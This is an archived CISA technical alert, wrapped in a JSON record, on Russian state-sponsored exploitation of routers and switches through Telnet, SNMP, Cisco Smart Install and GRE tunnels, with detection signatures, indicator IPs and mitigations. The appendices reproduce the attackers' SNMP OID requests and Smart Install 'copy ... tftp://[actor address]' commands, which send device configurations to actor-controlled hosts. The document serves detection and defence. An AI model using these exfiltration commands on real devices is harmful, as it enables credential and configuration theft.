{
	"id": "c5e11848-04dc-4f30-8751-5cd9ccb81037",
	"created_at": "2026-04-06T02:12:49.444963Z",
	"updated_at": "2026-04-10T13:12:58.216834Z",
	"deleted_at": null,
	"sha1_hash": "15c5ce8e7d347facf0151a59bb5322604c747594",
	"title": "Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices | CISA",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 116203,
	"plain_text": "Russian State-Sponsored Cyber Actors Targeting Network\r\nInfrastructure Devices | CISA\r\nPublished: 2018-04-20 · Archived: 2026-04-06 01:58:48 UTC\r\nSystems Affected\r\nGeneric Routing Encapsulation (GRE) Enabled Devices\r\nCisco Smart Install (SMI) Enabled Devices\r\nSimple Network Management Protocol (SNMP) Enabled Network Devices\r\nOverview\r\nUpdate: On April 19, 2018, an industry partner notified NCCIC and the FBI of malicious cyber activity that\r\naligns with the techniques, tactics, and procedures (TTPs) and network indicators listed in this Alert. Specifically,\r\nthe industry partner reported the actors redirected DNS queries to their own infrastructure by creating GRE\r\ntunnels and obtained sensitive information, which include the configuration files of networked devices.\r\nNCCIC encourages organizations to use the detection and prevention guidelines outlined in this Alert to help\r\ndefend against this activity. For instance, administrators should inspect the presence of protocol 47 traffic flowing\r\nto or from unexpected addresses, or unexplained presence of GRE tunnel creation, modification, or destruction in\r\nlog files.\r\nOriginal Post: This joint Technical Alert (TA) is the result of analytic efforts between the Department of\r\nHomeland Security (DHS), the Federal Bureau of Investigation (FBI), and the United Kingdom’s National Cyber\r\nSecurity Centre (NCSC). This TA provides information on the worldwide cyber exploitation of network\r\ninfrastructure devices (e.g., router, switch, firewall, Network-based Intrusion Detection System (NIDS) devices)\r\nby Russian state-sponsored cyber actors. Targets are primarily government and private-sector organizations,\r\ncritical infrastructure providers, and the Internet service providers (ISPs) supporting these sectors. This report\r\ncontains technical details on the tactics, techniques, and procedures (TTPs) used by Russian state-sponsored cyber\r\nactors to compromise victims. Victims were identified through a coordinated series of actions between U.S. and\r\ninternational partners. This report builds on previous DHS reporting and advisories from the United Kingdom,\r\nAustralia, and the European Union. [1-5] This report contains indicators of compromise (IOCs) and contextual\r\ninformation regarding observed behaviors on the networks of compromised victims. FBI has high confidence that\r\nRussian state-sponsored cyber actors are using compromised routers to conduct man-in-the-middle attacks to\r\nsupport espionage, extract intellectual property, maintain persistent access to victim networks, and potentially lay\r\na foundation for future offensive operations.\r\nDHS, FBI, and NCSC urge readers to act on past alerts and advisories issued by the U.S. and U.K. Governments,\r\nallied governments, network device manufacturers, and private-sector security organizations. Elements from these\r\nalerts and advisories have been selected and disseminated in a wide variety of security news outlets and social\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 1 of 15\n\nmedia platforms. The current state of U.S. network devices—coupled with a Russian government campaign to\r\nexploit these devices—threatens the safety, security, and economic well-being of the United States.\r\nThe purpose of this TA is to inform network device vendors, ISPs, public-sector organizations, private-sector\r\ncorporations, and small office home office (SOHO) customers about the Russian government campaign, provide\r\ninformation to identify malicious activity, and reduce exposure to this activity.\r\nFor a downloadable copy of the IOC package, see TA18-106A_TLP_WHITE.stix.xml.\r\nSince 2015, the U.S. Government received information from multiple sources—including private and public\r\nsector cybersecurity research organizations and allies—that cyber actors are exploiting large numbers of\r\nenterprise-class and SOHO/residential routers and switches worldwide. The U.S. Government assesses that cyber\r\nactors supported by the Russian government carried out this worldwide campaign. These operations enable\r\nespionage and intellectual property theft that supports the Russian Federation’s national security and economic\r\ngoals.\r\nLegacy Protocols and Poor Security Practice\r\nRussian cyber actors leverage a number of legacy or weak protocols and service ports associated with network\r\nadministration activities. Cyber actors use these weaknesses to\r\nidentify vulnerable devices;\r\nextract device configurations;\r\nmap internal network architectures;\r\nharvest login credentials;\r\nmasquerade as privileged users;\r\nmodify\r\ndevice firmware,\r\noperating systems,\r\nconfigurations; and\r\ncopy or redirect victim traffic through Russian cyber-actor-controlled infrastructure.\r\nAdditionally, Russian cyber actors could potentially modify or deny traffic traversing through the router.\r\nRussian cyber actors do not need to leverage zero-day vulnerabilities or install malware to exploit these devices.\r\nInstead, cyber actors take advantage of the following vulnerabilities:\r\ndevices with legacy unencrypted protocols or unauthenticated services,\r\ndevices insufficiently hardened before installation, and\r\ndevices no longer supported with security patches by manufacturers or vendors (end-of-life devices).\r\nThese factors allow for both intermittent and persistent access to both intellectual property and U.S. critical\r\ninfrastructure that supports the health and safety of the U.S. population.\r\nOwn the Router, Own the Traffic\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 2 of 15\n\nNetwork devices are ideal targets. Most or all organizational and customer traffic must traverse these critical\r\ndevices. A malicious actor with presence on an organization’s gateway router has the ability to monitor, modify,\r\nand deny traffic to and from the organization. A malicious actor with presence on an organization’s internal\r\nrouting and switching infrastructure can monitor, modify, and deny traffic to and from key hosts inside the\r\nnetwork and leverage trust relationships to conduct lateral movement to other hosts. Organizations that use legacy,\r\nunencrypted protocols to manage hosts and services, make successful credential harvesting easy for these actors.\r\nAn actor controlling a router between Industrial Control Systems – Supervisory Control and Data Acquisition\r\n(ICS-SCADA) sensors and controllers in a critical infrastructure—such as the Energy Sector—can manipulate the\r\nmessages, creating dangerous configurations that could lead to loss of service or physical destruction. Whoever\r\ncontrols the routing infrastructure of a network essentially controls the data flowing through the network.\r\nNetwork Devices—Often Easy Targets\r\nNetwork devices are often easy targets. Once installed, many network devices are not maintained at the\r\nsame security level as other general-purpose desktops and servers. The following factors can also\r\ncontribute to the vulnerability of network devices:\r\nFew network devices—especially SOHO and residential-class routers—run antivirus, integrity-maintenance, and other security tools that help protect general purpose hosts.\r\nManufacturers build and distribute these network devices with exploitable services, which are enabled for\r\nease of installation, operation, and maintenance.\r\nOwners and operators of network devices do not change vendor default settings, harden them for\r\noperations, or perform regular patching.\r\nISPs do not replace equipment on a customer’s property when that equipment is no longer supported by the\r\nmanufacturer or vendor.\r\nOwners and operators often overlook network devices when they investigate, examine for intruders, and\r\nrestore general-purpose hosts after cyber intrusions.\r\nImpact\r\nStage 1: Reconnaissance\r\nRussian state-sponsored cyber actors have conducted both broad-scale and targeted scanning of Internet address\r\nspaces. Such scanning allows these actors to identify enabled Internet-facing ports and services, conduct device\r\nfingerprinting, and discover vulnerable network infrastructure devices. Protocols targeted in this scanning include\r\nTelnet (typically Transmission Control Protocol (TCP) port 23, but traffic can be directed to a wide range\r\nof TCP ports such as 80, 8080, etc.),\r\nHypertext Transport Protocol (HTTP, port 80),\r\nSimple Network Management Protocol (SNMP, ports 161/162), and\r\nCisco Smart Install (SMI port 4786).\r\nLogin banners and other data collected from enabled services can reveal the make and model of the device and\r\ninformation about the organization for future engagement.\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 3 of 15\n\nDevice configuration files extracted in previous operations can enhance the reconnaissance effort and allow these\r\nactors to refine their methodology.\r\nStage 2: Weaponization and Stage 3: Delivery\r\nCommercial and government security organizations have identified specially crafted SNMP and SMI packets that\r\ntrigger the scanned device to send its configuration file to a cyber-actor-controlled host via Trivial File Transfer\r\nProtocol (TFTP), User Datagram Protocol (UDP) port 69. [6-8] If the targeted network is blocking external SNMP\r\nat the network boundary, cyber actors spoof the source address of the SNMP UDP datagram as coming from\r\ninside the targeted network. The design of SMI (directors and clients) requires the director and clients to be on the\r\nsame network. However, since SMI is an unauthenticated protocol, the source address for SMI is also susceptible\r\nto spoofing.\r\nThe configuration file contains a significant amount of information about the scanned device, including password\r\nhash values. These values allow cyber actors to derive legitimate credentials. The configuration file also contains\r\nSNMP community strings and other network information that allows the cyber actors to build network maps and\r\nfacilitate future targeted exploitation.\r\nStage 4: Exploitation\r\nLegitimate user masquerade is the primary method by which these cyber actors exploit targeted network devices.\r\nIn some cases, the actors use brute-force attacks to obtain Telnet and SSH login credentials. However, for the most\r\npart, cyber actors are able to easily obtain legitimate credentials, which they then use to access routers.\r\nOrganizations that permit default or commonly used passwords, have weak password policies, or permit\r\npasswords that can be derived from credential-harvesting activities, allow cyber actors to easily guess or access\r\nlegitimate user credentials. Cyber actors can also access legitimate credentials by extracting password hash values\r\nfrom configurations sent by owners and operators across the Internet or by SNMP and SMI scanning.\r\nArmed with the legitimate credentials, cyber actors can authenticate into the device as a privileged user via remote\r\nmanagement services such as Telnet, SSH, or the web management interface.\r\nStage 5: Installation\r\nSMI is an unauthenticated management protocol developed by Cisco. This protocol supports a feature that allows\r\nnetwork administrators to download or overwrite any file on any Cisco router or switch that supports this feature.\r\nThis feature is designed to enable network administrators to remotely install and configure new devices and install\r\nnew OS files.\r\nOn November 18, 2016, a Smart Install Exploitation Tool (SIET) was posted to the Internet. The SIET takes\r\nadvantage of the unauthenticated SMI design. Commercial and government security organizations have noted that\r\nRussian state-sponsored cyber actors have leveraged the SIET to abuse SMI to download current configuration\r\nfiles. Of concern, any actor may leverage this capability to overwrite files to modify the device configurations, or\r\nupload maliciously modified OS or firmware to enable persistence. Additionally, these network devices have\r\nwriteable file structures where malware for other platforms may be stored to support lateral movement throughout\r\nthe targeted network.\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 4 of 15\n\nStage 6: Command and Control\r\nCyber actors masquerade as legitimate users to log into a device or establish a connection via a previously\r\nuploaded OS image with a backdoor. Once successfully logged into the device, cyber actors execute privileged\r\ncommands. These cyber actors create a man-in-the-middle scenario that allows them to\r\nextract additional configuration information,\r\nexport the OS image file to an externally located cyber actor-controlled FTP server,\r\nmodify device configurations,\r\ncreate Generic Routing Encapsulation (GRE) tunnels, or\r\nmirror or redirect network traffic through other network infrastructure they control.\r\nAt this stage, cyber actors are not restricted from modifying or denying traffic to and from the victim. Although\r\nthere are no reports of this activity, it is technically possible.\r\nSolution\r\nTelnet\r\nReview network device logs and netflow data for indications of TCP Telnet-protocol traffic directed at port 23 on\r\nall network device hosts. Although Telnet may be directed at other ports (e.g., port 80, HTTP), port 23 is the\r\nprimary target. Inspect any indication of Telnet sessions (or attempts). Because Telnet is an unencrypted protocol,\r\nsession traffic will reveal command line interface (CLI) command sequences appropriate for the make and model\r\nof the device. CLI strings may reveal login procedures, presentation of user credentials, commands to display boot\r\nor running configuration, copying files and creation or destruction of GRE tunnels, etc. See Appendices A and B\r\nfor CLI strings for Cisco and other vendors’ devices.\r\nSNMP and TFTP\r\nReview network device logs and netflow data for indications of UDP SNMP traffic directed at port 161/162 on all\r\nnetwork-device hosts. Because SNMP is a management tool, any such traffic that is not from a trusted\r\nmanagement host on an internal network should be investigated. Review the source address of SNMP traffic for\r\nindications of addresses that spoof the address space of the network. Review outbound network traffic from the\r\nnetwork device for evidence of Internet-destined UDP TFTP traffic. Any correlation of inbound or spoofed SNMP\r\nclosely followed by outbound TFTP should be cause for alarm and further inspection. See Appendix C for\r\ndetection of the cyber actors’ SNMP tactics.\r\nBecause TFTP is an unencrypted protocol, session traffic will reveal strings associated with configuration data\r\nappropriate for the make and model of the device. See Appendices A and B for CLI strings for Cisco and other\r\nvendor’s devices.\r\nSMI and TFTP\r\nReview network device logs and netflow data for indications of TCP SMI protocol traffic directed at port 4786 of\r\nall network-device hosts. Because SMI is a management feature, any traffic that is not from a trusted management\r\nhost on an internal network should be investigated. Review outbound network traffic from the network device for\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 5 of 15\n\nevidence of Internet-destined UDP TFTP traffic. Any correlation of inbound SMI closely followed by outbound\r\nTFTP should be cause for alarm and further inspection. Of note, between June 29 and July 6, 2017, Russian actors\r\nused the SMI protocol to scan for vulnerable network devices. Two Russian cyber actors controlled hosts\r\n91.207.57.69(3) and 176.223.111.160(4), and connected to IPs on several network ranges on port 4786. See\r\nAppendix D for detection of the cyber actors’ SMI tactics.\r\nBecause TFTP is an unencrypted protocol, session traffic will reveal strings appropriate for the make and model of\r\nthe device. See Appendices A and B for CLI strings for Cisco and other vendors’ devices.\r\nDetermine if SMI is present\r\nExamine the output of “show vstack config | inc Role”. The presence of “Role: Client (SmartInstall\r\nenabled)” indicates that Smart Install is configured.\r\nExamine the output of \"show tcp brief all\" and look for \"*:4786\". The SMI feature listens on tcp/4786.\r\nNote: The commands above will indicate whether the feature is enabled on the device but not whether a\r\ndevice has been compromised.\r\nDetect use of SMI\r\nThe following signature may be used to detect SMI usage. Flag as suspicious and investigate SMI traffic arriving\r\nfrom outside the network boundary. If SMI is not used inside the network, any SMI traffic arriving on an internal\r\ninterface should be flagged as suspicious and investigated for the existence of an unauthorized SMI director. If\r\nSMI is used inside the network, ensure that the traffic is coming from an authorized SMI director, and not from a\r\nbogus director.\r\nalert tcp any any -\u003e any 4786 (msg:\"Smart Install Protocol\"; flow:established,only_stream; content:\"|00 00\r\n00 01 00 00 00 01|\"; offset:0; depth:8; fast_pattern;)\r\nSee Cisco recommendations for detecting and mitigating SMI. [9]\r\nDetect use of SIET\r\nThe following signatures detect usage of the SIET's commands change_config, get_config, update_ios, and\r\nexecute. These signatures are valid based on the SIET tool available as of early September 2017:\r\nalert tcp any any -\u003e any 4786 (msg:\"SmartInstallExploitationTool_UpdateIos_And_Execute\";\r\nflow:established; content:\"|00 00 00 01 00 00 00 01 00 00 00 02 00 00 01 c4|\"; offset:0; depth:16;\r\nfast_pattern; content:\"://\";)\r\nalert tcp any any -\u003e any 4786 (msg:\"SmartInstallExploitationTool_ChangeConfig\"; flow:established;\r\ncontent:\"|00 00 00 01 00 00 00 01 00 00 00 03 00 00 01 28|\"; offset:0; depth:16; fast_pattern; content:\"://\";)\r\nalert tcp any any -\u003e any 4786 (msg: \"SmartInstallExploitationTool_GetConfig\"; flow: established;\r\ncontent:\"|00 00 00 01 00 00 00 01 00 00 00 08 00 00 04 08|\"; offset:0; depth:16; fast_pattern;\r\ncontent:\"copy|20|\";)\r\nIn general, exploitation attempts with the SIET tool will likely arrive from outside the network boundary.\r\nHowever, before attempting to tune or limit the range of these signatures, i.e. with $EXTERNAL_NET or\r\n$HOME_NET, it is recommended that they be deployed with the source and destination address ranges set to\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 6 of 15\n\n“any”. This will allow the possibility of detection of an attack from an unanticipated source, and may allow for\r\ncoverage of devices outside of the normal scope of what may be defined as the $HOME_NET.\r\nGRE Tunneling\r\nInspect the presence of protocol 47 traffic flowing to or from unexpected addresses, or unexplained presence of\r\nGRE tunnel creation, modification, or destruction in log files.\r\nMitigation Strategies\r\nThere is a significant amount of publically available cybersecurity guidance and best practices from DHS, allied\r\ngovernment, vendors, and the private-sector cybersecurity community on mitigation strategies for the exploitation\r\nvectors described above. The following are additional mitigations for network device manufacturers, ISPs, and\r\nowners or operators.\r\nGeneral Mitigations\r\nAll\r\nDo not allow unencrypted (i.e., plaintext) management protocols (e.g. Telnet) to enter an organization from\r\nthe Internet. When encrypted protocols such as SSH, HTTPS, or TLS are not possible, management\r\nactivities from outside the organization should be done through an encrypted Virtual Private Network\r\n(VPN) where both ends are mutually authenticated.\r\nDo not allow Internet access to the management interface of any network device. The best practice is to\r\nblock Internet-sourced access to the device management interface and restrict device management to an\r\ninternal trusted and whitelisted host or LAN. If access to the management interface cannot be restricted to\r\nan internal trusted network, restrict remote management access via encrypted VPN capability where both\r\nends are mutually authenticated. Whitelist the network or host from which the VPN connection is allowed,\r\nand deny all others.\r\nDisable legacy unencrypted protocols such as Telnet and SNMPv1 or v2c. Where possible, use modern\r\nencrypted protocols such as SSH and SNMPv3. Harden the encrypted protocols based on current best\r\nsecurity practice. DHS strongly advises owners and operators to retire and replace legacy devices that\r\ncannot be configured to use SNMP V3.\r\nImmediately change default passwords and enforce a strong password policy. Do not reuse the same\r\npassword across multiple devices. Each device should have a unique password. Where possible, avoid\r\nlegacy password-based authentication, and implement two-factor authentication based on public-private\r\nkeys. See NCCIC/US-CERT TA13-175A – Risks of Default Passwords on the Internet, last revised October\r\n7, 2016.\r\nManufacturers\r\nDo not design products to support legacy or unencrypted protocols. If this is not possible, deliver the\r\nproducts with these legacy or unencrypted protocols disabled by default, and require the customer to enable\r\nthe protocols after accepting an interactive risk warning. Additionally, restrict these protocols to accept\r\nconnections only from private addresses (i.e., RFC 1918).\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 7 of 15\n\nDo not design products with unauthenticated services. If this is not possible, deliver the products with these\r\nunauthenticated services disabled by default, and require the customer to enable the services after accepting\r\nan interactive risk warning. Additionally, these unauthenticated services should be restricted to accept\r\nconnections only from private address space (i.e., RFC 1918).\r\nDesign installation procedures or scripts so that the customer is required to change all default passwords.\r\nEncourage the use of authentication services that do not depend on passwords, such as RSA-based Public\r\nKey Infrastructure (PKI) keys.\r\nBecause YARA has become a security-industry standard way of describing rules for detecting malicious\r\ncode on hosts, consider embedding YARA or a YARA-like capability to ingest and use YARA rules on\r\nrouters, switches, and other network devices.\r\nSecurity Vendors\r\nProduce and publish YARA rules for malware discovered on network devices.\r\nISPs\r\nDo not field equipment in the network core or to customer premises with legacy, unencrypted, or\r\nunauthenticated protocols and services. When purchasing equipment from vendors, include this\r\nrequirement in purchase agreements.\r\nDisable legacy, unencrypted, or unauthenticated protocols and services. Use modern encrypted\r\nmanagement protocols such as SSH. Harden the encrypted protocols based on current best security\r\npractices from the vendor.\r\nInitiate a plan to upgrade fielded equipment no longer supported by the vendor with software updates and\r\nsecurity patches. The best practice is to field only supported equipment and replace legacy equipment prior\r\nto it falling into an unsupported state.\r\nApply software updates and security patches to fielded equipment. When that is not possible, notify\r\ncustomers about software updates and security patches and provide timely instructions on how to apply\r\nthem.\r\nOwners or operators\r\nSpecify in contracts that the ISP providing service will only field currently supported network equipment\r\nand will replace equipment when it falls into an unsupported state.\r\nSpecify in contracts that the ISP will regularly apply software updates and security patches to fielded\r\nnetwork equipment or will notify and provide the customers the ability to apply them.\r\nBlock TFTP from leaving the organization destined for Internet-based hosts. Network devices should be\r\nconfigured to send configuration data to a secured host on a trusted segment of the internal management\r\nLAN.\r\nVerify that the firmware and OS on each network device are from a trusted source and issued by the\r\nmanufacturer. To validate the integrity of network devices, refer to the vendor’s guidance, tools, and\r\nprocesses. See Cisco’s Security Center for guidance to validate Cisco IOS firmware images.\r\nCisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet\r\nGateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). The indicators in\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 8 of 15\n\nAppendix A may be applicable to your device.\r\nDetailed Mitigations\r\nRefer to the vendor-specific guidance for the make and model of network device in operation.\r\nFor information on mitigating SNMP vulnerabilities, see\r\nNCCIC/US-CERT Alert TA17-156A – Reducing the Risk of SNMP Abuse, June 5, 2017, and\r\nNCCIC/US-CERT Alert TA16-250A – The Increasing Threat to Network Infrastructure Devices and\r\nRecommended Mitigations, September 6, 2016 Updated September 28, 2016.\r\nHow to Mitigate SMI Abuse\r\nConfigure network devices before installing onto a network exposed to the Internet. If SMI must be used\r\nduring installation, disable SMI with the “no vstack” command before placing the device into operation.\r\nProhibit remote devices attempting to cross a network boundary over TCP port 4786 via SMI.\r\nProhibit outbound network traffic to external devices over UDP port 69 via TFTP.\r\nSee Cisco recommendations for detecting and mitigating SMI. [10]\r\nCisco IOS runs in a variety of network devices under other labels, such as Linksys and SOHO Internet\r\nGateway routers or firewalls as part of an Internet package by ISPs (e.g., Comcast). Check with your ISP\r\nand ensure that they have disabled SMI before or at the time of installation, or obtain instructions on how\r\nto disable it.\r\nHow to Mitigate GRE Tunneling Abuse:\r\nVerify that all routing tables configured in each border device are set to communicate with known and\r\ntrusted infrastructure.\r\nVerify that any GRE tunnels established from border routers are legitimate and are configured to terminate\r\nat trusted endpoints.\r\nDefinitions\r\nOperating System Fingerprinting is analyzing characteristics of packets sent by a target, such as packet headers\r\nor listening ports, to identify the operating system in use on the target. [11]\r\nSpear phishing is an attempt by an individual or group to solicit personal information from unsuspecting users by\r\nemploying social engineering techniques. Phishing emails are crafted to appear as if they were sent from a\r\nlegitimate organization or known individual. These emails often attempt to entice users to click on a link that will\r\ntake the user to a fraudulent website that appears legitimate. The user then may be asked to provide personal\r\ninformation, such as account usernames and passwords, which can further expose them to future compromises.\r\n[12]\r\nIn a watering hole attack, the attacker compromises a site likely to be visited by a particular target group, rather\r\nthan attacking the target group directly. [13]\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 9 of 15\n\nReport Notice\r\nDHS encourages recipients who identify the use of tools or techniques discussed in this document to report\r\ninformation to NCCIC or law enforcement immediately. To request incident response resources or technical\r\nassistance, contact NCCIC at NCCICcustomerservice@hq.dhs.gov or 888-282-0870 and the FBI through a local\r\nfield office or the FBI’s Cyber Division at CyWatch@fbi.gov or 855-292-3937. To request information from or\r\nreport cyber incidents to UK authorities, contact NCSC at www.ncsc.gov.uk/contact.\r\nAppendix A: Cisco Related Command and Configuration Strings\r\nCommand Strings.\r\nCommands associated with Cisco IOS. These strings may be seen in inbound network traffic of unencrypted\r\nmanagement tools such as Telnet or HTTP, in the logs of application layer firewalls, or in the logs of network\r\ndevices. Network device owners and operators should review the Cisco documentation of their particular makes\r\nand models for strings that would allow the owner or operator to customize the list for an Intrusion Detection\r\nSystem (IDS). Detecting commands from Internet-based hosts should be a cause for concern and further\r\ninvestigation. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis\r\nis necessary to remove false positives.\r\nStrings:\r\n'sh arp'           \r\n'sho arp'           \r\n'show arp'\r\n'sh bgp sum'       \r\n'sho bgp sum'       \r\n'show bgp sum'\r\n'sh cdp'           \r\n'sho cdp'           \r\n'show cdp'\r\n'sh con'           \r\n'sho con'\r\n'show con'\r\n'sh ip route'     \r\n'sho ip route'      \r\n'show ip route'\r\n'sh inv'           \r\n'sho inv'           \r\n'show inv'\r\n'sh int'           \r\n'sho int'           \r\n'show int'\r\n'sh nat trans'    \r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 10 of 15\n\n'sho nat trans'     \r\n'show nat trans'\r\n'sh run'           \r\n'sho run'           \r\n'show run'\r\n'sh ver'           \r\n'sho ver'           \r\n'show ver'\r\n'sh isis'          \r\n'sho isis'          \r\n'show isis'\r\n'sh rom-monitor'   \r\n'sho rom-monitor'   \r\n'show rom-monitor'\r\n'sh startup-config'\r\n'sho startup-config'\r\n'show startup-config'\r\n'sh boot'          \r\n'sho boot'          \r\n'show boot'\r\n'enable'          \r\n'enable secret'\r\nConfiguration Strings.\r\nStrings associated with Cisco IOS configurations may be seen in the outbound network traffic of unencrypted\r\nmanagement tools such as Telnet, HTTP, or TFTP. This is a subset of the possible strings. Network device owners\r\nand operators should export the configuration of their particular makes and models to a secure host and examine it\r\nfor strings that would allow the owner or operator to customize the list for an IDS. Detecting outbound\r\nconfiguration data leaving an organization destined for Internet-based hosts should be a cause for concern and\r\nfurther investigation to ensure the destination is authorized to receive the configuration data. Because\r\nconfiguration data provides an adversary with information—such as the password hashes—to enable future\r\nattacks, configuration data should be encrypted between sender and receiver. Outbound configuration files may be\r\ntriggered by SNMP queries and Cisco Smart Install commands. In such cases, the outbound file would be sent via\r\nTFTP. Detecting these strings in network traffic or log files does not confirm compromise. Further analysis is\r\nnecessary to remove false positives.\r\nStrings:\r\naaa new-model\r\nadvertisement version\r\nBGP router identifier\r\nboot system flash:\r\nBuilding configuration?\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 11 of 15\n\nCisco Internetwork Operating System\r\nCisco IOS Software,\r\nConfiguration register\r\nwww.cisco.com/techsupport\r\nCodes C ? connected, S ? static\r\nconfiguration memory\r\nCurrent configuration :\r\nboot-start-marker\r\n! Last configuration change at \r\n! NVRAM config last updated at \r\ninterface VLAN\r\ninterface FastEthernet\r\ninterface GigabitEthernet\r\ninterface pos\r\nline protocol is\r\nloopback not set\r\nip access-list extended\r\nnameif outside\r\nRouting Bit Set on this LSA\r\nroute source\r\nrouter bgp\r\nrouter ospf\r\nrouting table\r\nROM: Bootstrap program is\r\nsnmp-server\r\nsystem bootstrap\r\nSystem image file is\r\nPIX VERSION\r\nASA VERSION\r\n(ASA)\r\nboot-start-marker\r\nboot system flash\r\nboot end-marker\r\nBOOT path-list\r\nAppendix B: Other Vendor Command and Configuration Strings\r\nRussian state-sponsored cyber actors could potentially target the network devices from other manufacturers.\r\nTherefore, operators and owners should review the documentation associated with the make and model they have\r\nin operation to identify strings associated with administrative functions. Export the current configuration and\r\nidentify strings associated with the configuration. Place the device-specific administrative and configuration\r\nstrings into network-based and host-based IDS. Examples for Juniper JUNOS may include: “enable”, ”reload”,\r\n”show”, ”set”, ”unset” ”file copy”, or ”request system scripts” followed by other expected parameters. Examples\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 12 of 15\n\nfor MicroTic may include: “ip”, ”interface”, ”firewall”, ”password”, or ”ping”. See the documentation for your\r\nmake and model for specific strings and parameters to place on watch.\r\nThese strings may be seen in inbound network traffic of unencrypted management tools such as Telnet or HTTP,\r\nin the logs of application layer firewalls or network devices. Detecting commands from Internet-based hosts\r\nshould be a cause for concern and further investigation. Detecting these strings in network traffic or log files does\r\nnot confirm compromise. Further analysis is necessary to remove false positives.\r\nThe following are important functions to monitor:\r\nlogin\r\ndisplaying or exporting the current configuration\r\ncopying files from the device to another host, especially a host outside the LAN or one not previously\r\nauthorized\r\ncopying files to the device from another host, especially a host outside the LAN or one not previously\r\nauthorized\r\nchanges to the configuration\r\ncreation or destruction of GRE tunnels\r\nAppendix C: SNMP Queries\r\nSNMP query containing any of the following from an external host\r\nshow run\r\nshow ip arp\r\nshow version\r\nshow ip route\r\nshow neighbor detail\r\nshow interface\r\nSNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “80.255.3.85”\r\nSNMP and Cisco's \"config copy\" management information base (MIB) object identifiers (OIDs) Command\r\nID  1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “87.120.41.3” and community strings of\r\n”public” ”private” or ”anonymous”\r\nOID Name OID Value Meaning\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.2 1 Protocol type = TFTP\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.3 1 Source file type = network file\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.4 4 Destination file type = running config\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.5 87.120.41.3 TFTP server IP = 87.120.41.3\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.6 backup File name = backup\r\n1.3.6.1.4.1.9.9.96.1.1.1.1.14 4 Activate the status of the table entry\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 13 of 15\n\nSNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter 80.255.3.85\r\nSNMP v2c and v1 set-requests with the OID 1.3.6.1.4.1.9.2.1.55 with the TFTP server IP parameter\r\n“87.120.41.3”, using community strings “private” and “anonymous”\r\nThe OID 1.3.6.1.4.1.9.2.1.55.87.120.41.3 is a request to transfer a copy of a router's configuration to the IP\r\naddress specified in the last four octets of the OID, in this case 87.120.41.3.\r\nSince late July 2016, 87.120.41.3 has been scanning thousands of IPs worldwide using SNMP.\r\nBetween November 21 and 22, 2016, Russian cyber actors attempted to scan using SNMP version 2 Object\r\nIdentifier (OID) 1.3.6.1.4.9.9.96.1.1.1.1.5 with a value of 87.120.41.3 and a community string of “public”.\r\nThis command would cause vulnerable devices to exfiltrate configuration data to a specified IP address\r\nover TFTP; in this case, IP address 87.120.41.3.\r\nSNMP, TFTP, HTTP, Telnet, or SSH traffic to or from the following IPs\r\n210.245.123.180\r\nAppendix D: SMI Queries\r\nBetween June 29 and July 6, 2017, Russian actors used the Cisco Smart Install protocol to scan for vulnerable\r\nnetwork devices. Two Russian cyber actor-controlled hosts, 91.207.57.69(3) and 176.223.111.160(4), connected to\r\nIPs on several network ranges on port 4786 and sent the following two commands:\r\ncopy nvram:startup-config flash:/config.text\r\ncopy nvram:startup-config tftp://[actor address]/[actor filename].conf\r\nIn early July 2017, the commands sent to targets changed slightly, copying the running configuration file instead\r\nof the startup configuration file. Additionally, the second command copies the file saved to flash memory instead\r\nof directly copying the configuration file.\r\ncopy system:running-config flash:/config.text\r\ncopy flash:/config.text tftp://[ actor address]/[actor filename].conf\r\nReferences\r\n[2] Cisco Smart Install Protocol Issues. CERT-EU. Advisory 2017-003. February 22, 2017.\r\n[3] Internet Edge Device Security. United Kingdom. National Cyber Security Centre. May 12, 2017.\r\n[5] Routers Targeted. Australian Cyber Security Centre. August 16, 2017.\r\n[6] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated October 30, 2017.\r\n[7] Routers Targeted. Australian Cyber Security Centre. August 16, 2017.\r\n[9] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated October 30, 2017.\r\n[10] Cisco Smart Install Protocol Misuse. Cisco. February 14, 2017. Updated October 30, 2017.\r\nRevisions\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 14 of 15\n\nApril 16, 2018: Initial Version|April 19, 2018: Added third-party reporting\r\nSource: https://www.us-cert.gov/ncas/alerts/TA18-106A\r\nhttps://www.us-cert.gov/ncas/alerts/TA18-106A\r\nPage 15 of 15\n\n1.3.6.1.4.1.9.9.96.1.1.1.1.3 1.3.6.1.4.1.9.9.96.1.1.1.1.4 1 4 Source file type Destination file = network file type = running config\n1.3.6.1.4.1.9.9.96.1.1.1.1.5 87.120.41.3 TFTP server IP = 87.120.41.3\n1.3.6.1.4.1.9.9.96.1.1.1.1.6 backup File name = backup \n1.3.6.1.4.1.9.9.96.1.1.1.1.14 4 Activate the status of the table entry\n Page 13 of 15",
	"extraction_quality": 1,
